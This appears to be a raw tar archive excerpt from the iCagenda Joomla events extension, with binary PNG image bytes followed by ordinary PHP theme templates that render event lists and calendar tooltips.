"�ʫ. ���֎�C;��|���]Ǜ{?��9�����H��P�Qfa(�򽷟������z�B�B��#�E5z�N�����z�;w���=��o;�}жy-�u��VF�چ_�{��N������$!<�Z���Tv��n�;�)hC�c0}�iz�ُ�w_���_u��~�!���{N�6���]�6Zz�NM4{�c&�K�ϔV�{���K�=�(ā��Ҝ`Ѐ��Iz�;u>��Ea�������:��<���䉮!C�8H�說c(�7����{�vC��j�NxM�K{D�!N�*@^hP��e����������?����+?`�~��y�{�ر}]#6�kT��2Br\"�S2!E8!�X��:�e���!	� �Vl� Ą4/!ʭj�S1����H,��W'���82}�۞��N�?������>���h<N�	s�=��� ���W���h�IBx5�k��;qI�����'V�v��'�:���$)=��=o=G�|>gf�� ��T�"��=��kD�`3�֚�b����8~ԁ�s��M���p�[/\.!i{�ݥ�]�K��F�B��M�@4dDD��ġ"CAe~�Nq�f��-K�%˲��O�_���9�m�d?�{s�]��ab^y?��y>� \W8�"Nֲ��2��Oh�9uu۶5�e˳�`��Uv��_��e��Y�EQ�H��!ȣR=��j\CZ�kA�~�)�p]nq+V����8��8���Q��0�\��p��ҤW���g�J
N��QW~�~x��
WJoa"��?�*�p�)�p=%
���0L���v6E�E����m��.)�{$i�wSu
ە�8��Ǣ�[��˕��d&l�nF��X�2�9!�u�t�E6B�Af�����v��#:<vD������yU�2��� ��"���P�R�a�n>�BV�'a�F�1D�]�!�8�ֈN�4�b
>��+�+(����䦍�!+`��\>�D��m�ӕ�#H˵B�T��ͧ�u@��Ŏ�����D@��-��R�Z�!�z��A��.�Ss�D,��L�U=o�%k��^��=���p@���!u���S�V[�'O0��(D���ն�ҔbAٯ	q(����W;��O�Ʉ�Y�,�2�M�#CL�j���~���[�V!"��Q�a6=)�΅��)�W+o*a�������C��J�Y��/C��0�Ǟ>�G?�D@�b�8� K�J��EZ2��F��?T<�H�u4�}6�.�=Ɵ��S�BJs��B=:o�sK��u�4�2�jz;��ګ�޴����W�\Gut�����7��v|쯺K��P�F�r�5�a��v�ki���r�읜��}/�K|�$�O��w�9���)@��t�G;r����M��m/l䅕kذ���=�I��@���D"��AX}�Bf��t�:~�x�����q_Gy
��35њ�3����|���ƿW�FC�h=3�6���5Z�R���cB��!�ڂVQ�?�0�c®H�BpȲ�H�vs��#��M�܁CQ�y�G�L��G�r�Lԟ��!�a哳Y��_�m-��]3�'�f�����j�~1�Z�'c���L�ɑ���ګB=�Ϯݛ���ln$���3ɾ	�t�̑����†�jG{��2J�ߛ��a4zuJ?�/X��R����	)#�,������nyO��E�KSy1]+�[<l�#�O��
�7%�	��O�6�C�˥C�w�	GC5]���^�c��|�d�
�8Ε�'#a��{�O�O�WE�^<7Q�;�z닎;�'������o�?�y�0E?����{�Ď�Zg�΅��R�v�
 �hUBH`�/��f�p��BK*�EAȇ�`��㘎m�J���s��#u�B��uOL�f�!n����Qؖ�1���p��'�
K#�:�f�--}O���}d�ʭ��v�j�7���z?38�M�,�?i���}��Ƈ��jQ\�O�.5��N��G���ӳ89 /}�PZ��Z�RY�� 1JЉr�'Ɨ��=ZB1�w��gV��>�c7V'��6!C��ɲ
� kXE}�z������Pi�̳3{��.���ļ�	ª��H"v\�����@8A���E@�p�u:��@;%x��"㝗%{�����h}룅���o� \Q�F�BJ������Ӕ�i�'��L�!<|eYdo<�[��٬!T�(�-j���K�ˎ��2�jW\����,�C+$~��Z/�<:�c�
��t��-3��/%b_���,�ә��Ғ��>�
��3�,;��D&z.>��O=)��)�����ۚ��t<��B��J����M�ϑd�3��I2��=bgO�;��3���+���+$���0]�Wv3��,˃��fX<�k l�^�W�޳Nqwf}C>��{�����.Ɔ;8!sB†�ӱ��9���}@�p�����ŭ������68a�V*�pcU	�It°�C\!�,CUM�Y��q!���q,���v
N�t��;{����h�ؽG��-i��KQ�UUGQ=��cՁ@��r���dj�;=�Yr����B�
����Ʌ���S����s�:�óH���� �P�����hh	����=��|l�%���н��A�jn�*!�DC���E2G�$װ,"҇�!�E]��a(��+���29Sq�-����|g$\���qh*�b�:�!Ľ!�L�:��G������Ƿb����Oc�;bv�?�A��wȎ>�a���$31�	C��H���t���!�0]���=�8y8?7��}��T�D���*n�*!�,P0H6hY�
=A���A�y<s,@c�
������uL�Y3-��2�DX��@�U|?�B��@��-��T`�� �ŨpBy5���BX���S���j�K�}����{�˚݀�פCm���	��c�f������'��Q����%�X����LFk�>B;N��U
 �XUB�l��T�(�5���s�I9�i&S'�L���PR‰X&�r�l"B���Dd�.l�5\�:�Q�m@���* �|EyM���վ��+�Qt�pQ�H~�(>3�Ә�9�{t�_�}��Uv��(Wb��F�
 �XUB(�����p�
�(fG���:qd*�$�
� G���ā���.oy�cT�'!�Spk8��(�A1�Q4|�䩀�A�w���_zΨq}�e�V�F���p4-~��z�bx4VSD���:�g��F�&,��;�2
׈j�QHol�rU�<��Y!����sq/��pS����d���@8�ʴ�@��q���0=X�VTU-b#�4LM15M�ÒnK��l��Ø���� ��n��JH��h���*.u=Uq�d14���!��i�C]#^����hn2�gLh�"�
&��H��.Qt�K4M
�P4�DC�"���'v` \x����R�b�UIs͢`�w*�ށ���BWU��D(	,�5]Hq���8@��@���T1�SejM`�H
�+��~B$��9���r��+ho)���'c�R�<%�X,b#�U,5'!���TE
�3ubR4���6b��x�.@��@�������Q �O	���038�m�-(�d��l���R�h�� �‹�l��{bYR"I%�E[s@|�

@�����b��^@�+#�K<yl�&S��Cx֡�h1�J��x�="h� -a���Hɰܨ\<���q�Ʈ]_�1%���O�S�˦><״�Q��u���bl���mc:<D�
U�0DC�(�#��d���jOn2>7�ߟ�,����������.��SHeS�%4�)��TJј*�w�%��f@��P���(/����^�	ZQR
���r!-{
��a�.�1<T��ybA�ѭ�޾���M��u8�� �lAB?��M;���\>)�T�|� �H$gӗ�	`+P��(����S���np����<|�Ω" ����	æ���bZU�<�y�XѺZ�啦�M���p�r5;�H岑��	Y�
'c�H8k��M�
�h�Ie�;�	�ȇvfj�z��0�6{�������o�#�L6)jRB���u	EA^H�q[�^���4�D�N7�/�Ҹ�B��6n6>?��㊆,LѦ�����rD��b^�E��Yҍ�J}i��>p �v�t6���;�F���bG�	n�q8��HZDs�$��<^�
M�]~㕝;^ޞ.��(��hQ�6���=9.#1#�������`BK���I�����J��h��/�8M7��W�z��V
�����V�wBW�$YQE���&�'�|UB���eE��f6y�@"�*���%`�C:���:��zI����:�+�Lʵ�T8'4��B/��ɣ)��d�b1W��dK��L��v0����.6���/���IӧǚnleD���/җ>m(m����~��5��_�]�P���FsikU��,ZB=��?'fl;V�5�p��D�%f/g���D='S�p*,��Q�L�d�4��~���# �
�z�&�[���8v�t䴧	�L��d	!�"*�DΖ�U�p2/��L�kԉ�D��߲5�[����#"��O6���ho1����:��}� �4e�k{B�'�9|�\GM���w���(|b���\��|6v��*���
K7�g��<�r��T2���"�����E>��u-�IK�Q1�g��
�A3��2Hь�?l��ݡ���vQSK�H&��dN����بN4�b	S��X+�����n�|�ZY^�� ����dB�H��������o�Jd�8[˰��/V �]J�S�ܙ�퉎w~��4.$F�.�)]X8���̙`�ÿ)n�*!|;�OFS7ÙX
�a�`��MK�h�SyЇ*{�%������JSO�B7;{��^����6��l�Te�P�b�"ײJ�65T>��ċ[v������N��EdOUK\[��n�~��ZgSã͇�p����<-13�‘Z������pGogj�P�g�!<�q�_��|�0�7Q3�I�2>=�;h.�� �����ޝ?�#߈�]�\n���k�\�N��f�m��&ǖ��o�F�D@
zQ�1Q�	�xj8P�(�hL����W��/��D�� �n��v�.���33�<��j�WK!�3P��S��3�Ϋ��UZ��'��<���!�ʂ�E�=��m_�{�
�ο�$��ޞ�U���|lZ��k7���[#��!�7M/Q��Z�x"�Ե^�ZEJId��mMCx��">yf�4��m9%f�oy���k�6l���L�Yr���Y�ș�]{�����X�f���{�~��׿0=g�ۏ�ԑ�FY�n�\����ҁ7.�4�Ihz]e��C8�J/�zrY\摢znw[�l�ܥĐ��N�v#B b���0He0���k�'�W(�DH�rZ�f3N���0<��#�U!|� ��!���Bs��
!�yk���?�y�+6�|�y
a���}#�7>�H�닇��d�a�ag�p�+#�ƛD��sw�n�T5�˭�}B�h��ڜ�1��4&&����K��@8Ʃ2��a@)b�a��FeGiJ</�F�U�[�xk��$�ք�3����ge��b|�6���0���U!<��k��'��{�}Bv�u�n[>qi�FQ�@�r �'���H8��o�|*d�;/�;��o���z�h|����ե��]z���!�Q��B�X�(%����V�ë`����P�<H�<�㜤��������/+i~!�-z��D(l�e����2�� O?�+aE�R�V�7���v�	��l;u��.���
�? d���ǻ������(@��=yrc|vφ�OG�K��@��1��g�M��Z�:.��VQ`�,�S�ۘ�t�I�*D�"�V�v(��.Ù� (�	/hS��6P`fe
'����NTzfBa"�����
��L�@Rxp���Ϣ̹z$|��#;����?���C(t���;���=%4��W&�<0��;�u�
��{�~�qd�uAG£;ϵ`�tW	���p��4R�dj���#E�b��`�I)`���`�3H�P�
$h
�%L"z�lM�n*B�AI7&�T�2C��p	@Xɪ[��	���c7U��_!�>f�I�㕱�0)g/C��L?��&��W�U[&�N���Y2:����=��==�9��g'6��=x����Oa�x�n��Y5�ˬ����CR"���1#AJBt
!��Ꝃ�`����������x!����U��a"	�@���+"���� E*	�1�*��
 Pǣ�Zi��WJ���̝u���[G�'�z:�^ހK��^��W��<G��=}í��LW��p�����H=c�ʥab�*aD��ft�
X�
	QH��܁d��1�������E�v(�^�J�6��\��3"�ie��@qԊ�k�E
^M��_����+TC��Z�E�`���id�IB�HI��TVĠ(Q^�I��	1̪tl��Y��Nk|%n5-�e�2UPW�
��!b4-hQ��qc��qC��ቾkV��Uיj�ewD�JP!O��A�J�-�[b���h"K`�E*���ɳ�
+�D�(��%Z�ZuT׮��V٤���^�jax�*�V���:S
�5�����y�UG%���5CSo>l��0��ԃ��X�����'�r�(0P�2���a�'f� �����AB�d���R!	�+�:��1�}G�7�^C=!.�z�����JI��p�!�IO��ɢ2��Me��
=ȥq`
م1_�'��"��5r$c�YR��5��Ds)�.aTD�Pǵ���k�<́�*4>#b�0=#4i_P�J�D�<kE
p�dm� ��E�`����.��Dt�ጠ,�
��b�|�
n3��ݣ�C
����G5�יj��T��"��]V
q��ePŝ1酡�fA��eYvfX��L"ni�Y�y�!S�WdHH>��,fj3`�`�� 
K�J&������L��IYIxRZCx��������)�1M#�w�ص	Rqn��`�GLb4�C!�1���nl���L�0UTҴ]ٮ�B�UO�t#��%�'<�d��zlb�3��	`E���:S
��啡�H�<(pL�8v�P1%+D��7��H̴�=�
���2x�YM;����2�v�ڢ�2���v� !�0P�#9z�'4�J/#Ⱦ!EME+a�e
�u��k��
���(kM�4wV���ԍ\�<`'l'E�b�%�I�gU�]�D��*9�t�Џ0�v��J�|�Ї��/��B��(��ϔ���tk��M5���'�i��Ӳ���f��C���e;H�DJlǙ�</!Ȑ�#F�nP�����q�f�И�FdtQe�|�����ߞ0a�U��V��@/2�Ҩ���TCx
3f,lW.S��․�и�'�N��7����
������in��@�,�U(Q�SFE�0��J�!�J"=sE�c�o��Wv�]�#7�
����L5���ڬ�)vp1�"�C�p>�dz�r���a��f��vJ��]�D��Dضl:�Mh�6Ͳf����vT��Q��ތV;[!6M��2!�J���TR�[�"�����L5���p���[vhHմ�B/�Q�P?��=���
���uyAqӶ���V��i�:`�6����RC�}��@��G)O]��A�z&#�OPV%���hPCx�����C�m�Ҵ�縒�E�4K��d$!�3n��541�SN��ey�x�H����!�\�	�j1�Ӄ�a�Yd�~�$MB����f�@���SAT�R7\Q�'��TCx
3���YC�ێ[ZN+3�W	]H)	
wh�θ.'$�YA��҈K�񌳤S`�ڎ�W�>�n����1��N˶p�\�i��U�C�(�F��d}�-J����f��Z5�ˡ�UeQ���*��,��X1gz���g�܈��"Hv�&��Q�Z�\���QG�E�͠
7�\n��"��Rh+�b�F,�-'�Iו1%��\�_�����;{n��m	/��y��K�Yw����^�f��[o��W����-O�u�n�Yw��w�s����UC�Z	����V�e�v
��CS���
t�cY�x+sb����Y�r�O��
��y���[Đ�w���b�ym="C��ͼ"��`#S�gVٲ�f.HI!y�[6�{�6��1Й�
X�eD�{��[&{���Nj�F�[�[�;ָ�Ѕ�1}t���W�>|i|j�����E�e>��h���O&�%��"c��Ԏ��'�_:�@sxZ�s�:�.��N[�P�%�CEDZ� �d{��4�V!̚����h�E�H��S��̠8."�b��mc�e�J�N���9C�n�u���V<p��P�rOJ�^���V�Ꮾ����{�]e�}���ؔX�8:r�i<ui�����1��ޱ�,4^u�o��i��s�y|`�����tlx���񶻶�gǞ8��G��V����컛��U+W���'s�u��C{��=*��\yg�{QC�,Z���s���q��j���(
p��B҉q��U��J�4M9�r����[%$�W�l�x�]��P�&N�!o��%�l~Ƃ��J�i0�P<ƭ5�-'����o�0���C�n{)6�w�7����WF���DɅ��;�/;o�m�t%�S��tϻ�vV�”7��-S��?�Ҙ�;	��u�Ć�#?^���;X��Yt��ɛO�Z?�=��Sm|QC�Z:mm
"�`�>�<�~�5�S7vp�A+��2�j<(�8�=7���G�=c��n�ja�t�r��1E"A>�G��%Q�8͕}O�]m�V�e�1.L!�� ��ZE1�������O�7���W6ɯ'G�9��q��ʓ��k��Dg�#ƅC��/&ϟ=�L��'{6N�{���=�g�g����K���{�m?��5`���76�v��ȗ�i���O��{ƞ��w��Yf$s�k7����Ry�TU�k���7�+[�0 �8�ũtV[V�Y�R;���E!�T��~ /s��AQ��S�HLxJ�;�����	��n�3���g8Цly����ӫA8%:Ur�c;^��߂��Ǘ��ձv��v�#;+��`��k�.4�z���_z��O�;�/\|���Íf�K�����ۖ��ؓ�bL�� ���֮:�.��Bx�Ezҧ�����d��H���Y��2���W`=��?�pA��=����[�bE�p��me��P2s�l�Hܴ�Vs�h��g�'|�yE|ҳJ�g��f�
���5ցW�n�^�ޅ����K��.n�@��{6?st��߅���o&'��7>�_;��BW8	:rx�;��\�&�_����`�=z�-p�v#�!\&i��fޭ��GC�y��`�)Q�Ҋ��N���^F"�i�y�Gڥ�
Vqk��F�]�N9�jUZ�AR&fwh�A�4[1>�o	F m��i����BC�W�'h��}�p��Mg�o���Z<}����}}�'g?Y8z���&Ͽ&.L���>y����ŧ��8����[g�N��>�gӥ�!<�#���,;0�sw�Q�0����s8+l�GGk�AK |�J�� '�HL�� n�,G�mN�Q��@�N%�nP�0q兒���̠Q:�׿��r2p&E8���h!�P
� �	�꓾��3����M�6On����Q����ޞm
ߓ��pbvˍ=�wMU�—�����
�������|χ�;����r��Ke���ы�><������z�=��R羜�p����6�l����>�s��7����e@xY_�B8~[C�c����E@�c��-�1���S
�R�y����'��l��5��k@�64_c%��6h�ۗq��&
>�b��m_���]=Wh�1zs7�7�I���xsϯپ�	�g�Gw��_��_߳�q�H�S?�k��cz7���~����,�z��X���:MXC�,Z
��?IӐ��.�� �V�a�Z�Ί�MZ�T �:1�HA�"rSUN2�"�κ���v��oY�
��>̕�I*<R��C�֦#�.�c����w_=��Ņ���=h��^�Y��-S��E@a�_���8��զ}��~)�E+�$uW's�_��"I�K�ePР/1"��i���4���@����C��П����A�f)�z�������G���U��]�/_(S�EB�o���|�-�T�f6iI�uA�g*��hOJI�H:���v����Oi���\�}�6zQ�H����L�m	ixK����Ё�A�}�ž�E�r���ޞZi{R��D��A���,B�\W�J��Xlۤ�S�!���$%_Go%�Ժ�T$��X��I�$c	��n]���htr͢5�d烆)��mn��l?=
me�ޠҹ7�,�0��&�J{�H�mx�I�i�!~?�d9��F��!yӮ�f>�o
C/��e��lY������z��e�u���e�TW��0�Z޴�f�I�bQ�*����*=�	-oѮE�ڤ-�/j��2+�7X�X����#������N'�����H���S�K��3�XD����o�7��:`!���p�ٚ
��A#�(�t��\6��_z�WO�&�Or��/#�e
�YFܑ��<���DOQ��'Gf���yV37j���bn�( BD�Ǻ2t{��Q�P�a^����P���\�����ի�ھ�GED�7x@O��akf�B�%��N�ΣL�F5x?+�i}�N�rs�'�הS�	ED����S�_�c?'l�o=�+t"g���(��V~U{tO;������{��b<
}8�Ҵ'��ⱎ�•ٙ���ٝJ�N�N����������np�7^X�
��A싉�"�����wڇ���
�K��t8D��k�=��Wt�.���":]��dy��`�!"��	��1#���~x�!g¾x�r���^!0
�߅*D0D0n!�`!��A��A���D0D0n!�`!��A�C��"��h5�kݥ_���p+&���Z�mKu	6���m�$
t�9��˧���>�ꉍ�1��Wv�&ti8��r�f���&,��"*�B�H"k]��,B�A��P��]�Y$�
� �-PB:�_�؋t�òCD�˄��E<����������nП^�Vu��t>�'�>1��<B��9�)�"�Ïk��k��#a� ��&��a
_D��A��J�\�ڶ�t��*<�v���;_M��Rɓ��G����\��?��K���]�#"��TQ��1��4Ji8ݭ�jDz�\"�e}*4����98-�]"B����'O��E���O�H�X���+)��_һ�>�S�p/B{�[�L��ɄY�0�+_�_��G(��Wg^>yB�"B��8B%����ka�M���vKJ���ibY���3��i6D�����p8|
�Y�2��.߲>_'��J�[6�v G�(�w	/����3[��aW��R.<���eZ��I�~�i�o
�}"B�f�@�u����IC�4-#"�za"�ʎW��)R� ���e6��?}q,������_��.m��
�<���^l��G��V�q� "�ϟ��F���#,�s�N��;a�稏�7մ�W��h�y��Cs��Z�<��ڙ��"d�8*�T|!���i���P�CWD�|s��8Ἱ�ᣙ�PLD�$�Q��7�p�`ƓN�lߎ3��as�W][�	���z�V��j��1�1��8U\p%40ؒ�A�v{���E��8�XQYuN��m�����0O�vo�^Ҥ�h�E�O�]�R��v�g�^�$oؾ�pbY6
���#��e=B�!"ҫQ��(�z_����'~0�gQ�3˳��ki�"�>eHE�N����vk{���3;,��������]7����i��H�d�
VD$��?�=��Iy����s@L��ۇp#���;!B�����"��;!B�ڧc�ab)��?E:�\#!l$�	a#!�H	�FB�H5�FB��6B����j$���P#!<���/]�tz�L�ƋIEND�B`�com_icagenda/themes/packs/ic_rounded/images/regis-baloon.png000060400000000364152453734450020205 0ustar00�PNG


IHDR$~��#	pHYs�� cHRMz%������u0�`:�o�_�FzIDATx��ֱ� ���!܁%X޷;8���R$�RHi�<�2��^����K��$
3�ֺ�{'"x��}W��t@�A;��e�LPk-&5 ��03""U�'*ӵ8����q��������s��*IEND�B`�com_icagenda/themes/packs/ic_rounded/index.html000060400000000054152453734450015642 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/themes/packs/ic_rounded/ic_rounded_events.php000060400000011616152453734450020063 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	ic_rounded
 * @template	events
 * @version 	3.5.10 2015-08-22
 * @since       3.2.8
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();
?>

<!-- Event -->

<?php // List of Events Template ?>

	<?php // START Event ?>
	<div class="event ic-event ic-clearfix">

		<?php // START Date Box with Event Image as background ?>
		<?php if ($EVENT_NEXT): ?>

		<?php // Link to Event ?>
		<a href="<?php echo $EVENT_URL; ?>" title="<?php echo $EVENT_TITLE; ?>">

		<?php // If no Event Image set ?>
		<?php if (!$EVENT_IMAGE) : ?>
		<div class="ic-box-date">
		<?php // In case of Event Image ?>
		<?php else : ?>
		<div class="ic-box-date" style="background-image:url(<?php echo $IMAGE_MEDIUM; ?>); border-color: <?php echo $CATEGORY_COLOR; ?>">
		<?php endif; ?>
			<div class="ic-date">

				<?php // Day ?>
				<div class="ic-day">
					<?php echo $EVENT_DAY; ?>
				</div>

				<?php // Month ?>
				<div class="ic-month">
					<?php echo $EVENT_MONTHSHORT; ?>
				</div>

				<?php // Year ?>
				<div class="ic-year">
					<?php echo $EVENT_YEAR; ?>
				</div>

				<?php // Time ?>
				<div class="ic-time">
					<?php echo $EVENT_TIME; ?>
				</div>

			</div>
		</div>

		</a>
		<?php endif; ?><?php // END Date Box ?>

		<?php // START Right Content ?>
		<div class="ic-content">

			<?php // Header (Title/Category) of the event ?>
			<div class="eventtitle ic-event-title ic-clearfix">

				<?php // Title of the event ?>
				<div class="title-header ic-title-header ic-float-left">
					<h2>
						<a href="<?php echo $EVENT_URL; ?>" title="<?php echo $EVENT_TITLE; ?>">
							<?php echo $EVENT_TITLEBAR; ?>
						</a>
					</h2>
				</div>

				<?php // Category ?>
				<div class="title-cat ic-title-cat ic-float-right <?php if ($CATEGORY_FONTCOLOR == 'fontColor') : ?>ic-text-border<?php endif; ?>"
					style="color: <?php echo $CATEGORY_COLOR; ?>;">
					<?php echo $CATEGORY_TITLE; ?>
				</div>
				<!--div class="title-cat">
					<i class="icTip icon-folder-3 caticon <?php echo $CATEGORY_FONTCOLOR; ?>" style="background:<?php echo $CATEGORY_COLOR; ?>" title="<?php echo $CATEGORY_TITLE; ?>"></i> <?php echo $CATEGORY_TITLE; ?>
				</div-->

			</div>

			<?php // Feature icons ?>
			<?php if (!empty($FEATURES_ICONSIZE_LIST)) : ?>
			<div class="ic-features-container">
				<?php foreach ($FEATURES_ICONS as $icon) : ?>
				<div class="ic-feature-icon">
					<img class="iCtip" src="<?php echo $FEATURES_ICONROOT_LIST . $icon['icon'] ?>" alt="<?php echo $icon['icon_alt'] ?>" title="<?php echo $SHOW_ICON_TITLE == '1' ? $icon['icon_alt'] : '' ?>">
				</div>
				<?php endforeach ?>
			</div>
			<?php endif ?>

			<?php // Next Date ('next' 'today' or 'last date' if no next date) ?>
			<?php if ($EVENT_DATE): ?>
			<div class="nextdate ic-next-date ic-clearfix">
				<strong><?php echo $EVENT_DATE; ?></strong>
			</div>
			<?php endif; ?>

			<?php // Location (different display, depending on the fields filled) ?>
			<?php if ($EVENT_VENUE OR $EVENT_CITY): ?>
			<div class="place ic-place">

				<?php // Place name ?>
				<?php if ($EVENT_VENUE): ?><?php echo $EVENT_VENUE;?><?php endif; ?>

				<?php // If Place Name exists and city set (Google Maps). Displays Country if set. ?>
				<?php if ($EVENT_CITY AND $EVENT_VENUE): ?>
					<span> - </span>
					<?php echo $EVENT_CITY;?><?php if ($EVENT_COUNTRY): ?>, <?php echo $EVENT_COUNTRY;?><?php endif; ?>
				<?php endif; ?>

				<?php // If Place Name doesn't exist and city set (Google Maps). Displays Country if set. ?>
				<?php if ($EVENT_CITY AND !$EVENT_VENUE): ?>
					<?php echo $EVENT_CITY;?><?php if ($EVENT_COUNTRY): ?>, <?php echo $EVENT_COUNTRY;?><?php endif; ?>
				<?php endif; ?>

			</div>
			<?php endif; ?>

			<?php // Short Description ?>
			<?php if ($EVENT_DESC): ?>
			<div class="descshort ic-descshort">
				<?php echo $EVENT_INTRO_TEXT ; ?><?php echo $READ_MORE ; ?>
			</div>
			<?php endif; ?>

			<?php // Addons Plugins (JComments, ...) - onListAddEventInfo ?>
			<?php if ($IC_LIST_ADD_EVENT_INFO): ?>
				<?php echo $IC_LIST_ADD_EVENT_INFO; ?>
			<?php endif; ?>

			<?php // + infos Text ?>
			<div class="moreinfos ic-more-info">
			 	<a href="<?php echo $EVENT_URL; ?>" title="<?php echo $EVENT_TITLE; ?>">
			 		<?php echo JTEXT::_('COM_ICAGENDA_EVENTS_MORE_INFO'); ?>
			 	</a>
			</div>

		</div><?php // END Right Content ?>

	</div>

<?php // END Event ?>
com_icagenda/themes/packs/ic_rounded/ic_rounded_day.php000060400000013045152453734450017332 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	ic_rounded
 * @template	calendar info-tip
 * @version 	3.5.6 2015-06-21
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die(); ?>

<!-- Day info-tip -->

<?php // Day with event ?>
<?php if ($stamp->events) : ?>

	<?php // Main Background of a day ?>

	<div class="icevent <?php echo $multi_events; ?>" style="background:<?php echo $bg_day; ?> !important; z-index:1000;">

		<?php // Color of date text depending of the category color ?>
		<a>
		<div class="<?php echo $stamp->ifToday; ?> <?php echo $bgcolor; ?>" style="color: #fff !important" data-cal-date="<?php echo $stamp->this_day; ?>">
			<?php echo $stamp->Days; ?>
		</div>
		</a>

		<?php // Start of the Tip ?>
		<div class="spanEv">

			<?php foreach($events as $e) : ?>

				<div class="ictip-event">
					<?php echo '<a href="' . $e['url'] . '" rel="nofollow">'; ?>

					<div class="linkTo">

						<?php // Show image if exist ?>
						<div class="ictip-img">
						<?php
						echo '<span style="background: ' . $e['cat_color'] . ';" class="img">';

						if ($e['image'])
						{
							echo '<img src="' . $e['image'] . '" alt="" />';
						}
						else
						{
							echo '<span class="noimg ' . $bgcolor . '">' . $e['no_image'] . '</span>';
						}

						echo '</span>';
						?>
						</div>

						<?php // Display Title (with link to event) and other infos if set (city, country) ?>
						<div class="ictip-event-title titletip">
							<?php //echo '&rsaquo; ' . $e['title']; ?>
							<?php echo $e['title']; ?>
						</div>

						<?php // Display feature icons, if required ?>
						<?php if (!empty($e['features_icon_size'])) : ?>
						<div class="ic-features-container">
							<?php foreach ($e['features'] as $icon) : ?>
								<div class="ic-feature-icon">
									<img src="<?php echo $e['features_icon_root'] . $icon['icon'] ?>" alt="<?php echo $icon['icon_alt'] ?>" title="<?php echo $e['show_icon_title'] == '1' ? $icon['icon_alt'] : '' ?>">
								</div>
							<?php endforeach ?>
						</div>
						<?php endif; ?>

						<?php // INFO ?>
						<div class="ictip-info ic-clearfix">

							<?php // Display Time (start) for each date ?>
							<?php if ($e['displaytime']) : ?>
								<div class="ictip-time">
									<?php echo $e['time']; ?>
								</div>
							<?php endif; ?>

							<?php // Display Venue Name, City and/or Country for each date ?>
							<?php if ($e['place'] OR $e['city'] OR $e['country']) : ?>
								<div class="ictip-location">
									<?php // Display Venue Name ?>
									<?php if ($e['place'] AND ($e['city'] OR $e['country']) ) : ?>
										<?php echo $e['place'].', '; ?>
									<?php else : ?>
										<?php echo $e['place']; ?>
									<?php endif; ?>
									<?php // Display City and/or Country for each date ?>
									<?php if ($e['city']) : ?>
										<?php echo $e['city']; ?>
									<?php endif; ?>
									<?php if (($e['country']) && ($e['city'])) : ?>
										<?php echo ', '.$e['country']; ?>
									<?php endif; ?>
									<?php if (($e['country']) AND (!$e['city'])) : ?>
										<?php echo $e['country']; ?>
									<?php endif; ?>
								</div>
							<?php endif; ?>

							<?php // Display Short Description ?>
							<?php if ($e['descShort']) : ?>
								<div class="ictip-desc">
									<?php echo $e['descShort']; ?>
								</div>
							<?php endif; ?>

						</div>

						<?php // Display Registration Information ?>
						<div style="clear:both"></div>

						<?php if ($e['registrations']) : ?>
						<div class="regButtons ic-reg-buttons">

							<?php if (!$e['date_sold_out']) : ?>
								<?php if ($e['maxTickets']) : ?>
									<span class="iCreg available">
										<?php echo JText::_( 'MOD_ICCALENDAR_SEATS_NUMBER' ) . ': ' . $e['maxTickets']; ?>
									</span>
								<?php endif; ?>
								<?php if ($e['TicketsLeft'] && $e['maxTickets']) : ?>
									<span class="iCreg ticketsleft">
										<?php echo JText::_( 'MOD_ICCALENDAR_SEATS_AVAILABLE' ) . ': ' . $e['TicketsLeft']; ?>
									</span>
								<?php endif; ?>
								<?php if ($e['registered']) : ?>
									<span class="iCreg registered">
										<?php echo JText::_( 'MOD_ICCALENDAR_ALREADY_REGISTERED' ) . ': ' . $e['registered']; ?>
									</span>
								<?php endif; ?>
							<?php else : ?>
								<span class="iCreg closed">
									<?php echo $e['date_sold_out']; ?>
								</span>
							<?php endif; ?>

						</div>
						<?php endif; ?>
					</div>
					<?php echo '</a>'; ?>
				</div>
			<?php endforeach; ?>
		</div>

		<?php // Display Date at the top of the info-tip ?>
		<div class="date ictip-date">
			<span class="ictip-date-lbl">
				<?php echo JTEXT::_('JDATE');  ?> :
			</span>
			<span class="ictip-date-format">
				<?php echo $stamp->dateTitle; ?>
			</span>
		</div>

	</div><?php // end of the day ?>

<?php // Day with no event ?>
<?php else : ?>
	<div class="no-event <?php echo $stamp->ifToday; ?>" data-cal-date="<?php echo $stamp->this_day; ?>">
		<?php echo $stamp->Days; ?>
	</div>
<?php endif; ?>
com_icagenda/themes/packs/ic_rounded/ic_rounded_calendar.php000060400000001660152453734450020326 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	ic_rounded
 * @template	calendar
 * @version 	3.5.6 2015-05-19
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die(); ?>

<!-- Calendar -->

<?php // Code can be added at Top of calendar ?>

<?php // Calendar Template ?>
<?php
	$stamp->days();
?>

<?php // Code can be added at Bottom of calendar
com_icagenda/add/elements/icsetvar.php000060400000033663152453734450014055 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *	iCagenda Set Var for Theme Packs
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
